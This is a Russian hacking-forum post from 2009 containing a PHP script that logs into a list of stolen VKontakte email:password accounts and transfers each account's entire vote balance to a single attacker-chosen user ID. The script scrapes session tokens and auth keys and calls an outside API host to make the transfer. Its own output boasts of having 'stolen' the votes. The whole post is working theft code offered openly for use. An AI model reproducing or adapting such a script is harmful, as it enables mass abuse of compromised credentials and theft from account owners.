Показать сообщение отдельно

  #17  
Старый 21.09.2009, 01:47
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Ну вот я под себя переделал, но ещё раз говорю, у меня option: "value"
PHP код:
<?php 
set_time_limit
(0); 
error_reporting(1); 
$to "1"// vote to id 

function curl($url,$post

    
#echo "<br> $url | $post <br>\n"; 
    
$cfile 'cookies.txt'
    
$ch curl_init(); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_URL$url); 
    
curl_setopt($chCURLOPT_HEADER0); 
    
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    
curl_setopt($chCURLOPT_COOKIEJAR$cfile); 
    
curl_setopt($chCURLOPT_COOKIEFILE$cfile); 
    
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue); 
    
curl_setopt($chCURLOPT_POST1); 
    
$result curl_exec($ch); 
    
curl_close($ch); 
    return 
$result

function 
transfer_vote($email,$pass,$to){ 
    
$result curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); 
    
$result curl("http://vkontakte.ru/app614422",""); 
    
preg_match("/viewer_id\: \"(.*?)\"/i"$result$user_id); 
    
preg_match("/balance = (.*?);/i"$result$vote);
    
preg_match("/join(.*?)'>/i"$result$appsl); 
    
preg_match("/app_id = (.*?);/i"$result$app_id); 
    
preg_match("/app_hash = '(.*?)';/i"$result$app_hash); 
    
preg_match("/auth_key\: \"(.*?)\"/i"$result$auth_key); 
        if (
$vote['1'] >= "1") { 
        echo 
"#Спиздили ".$vote['1']." VOTE...<br>"
        
flush(); 
        @
ob_flush(); 
        
$result curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); 
        
$result curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); 
        echo 
"#Всё ok...<br>"
        } 
        else { 
        echo 
"#Нету голосов на акке(<br>"
        
$result false;
        } 
    
flush(); 
    @
ob_flush(); 
    return 
$result

echo 
"<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b      order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "
$is_aks is_file  ("votes.txt"); 
if(
$is_aks != 1){ 
    die(
'Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password'); 

$aks file("votes.txt"); // AC file, login:pass 
foreach($aks as $k => $v){ 
$ak explode(":"trim($v)); 
echo 
"<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"
$vote_res transfer_vote($ak['0'],$ak['1'],$to); 
echo 
"------------------------------------------<br>"
flush(); 
@
ob_flush(); 

?>
 
Ответить с цитированием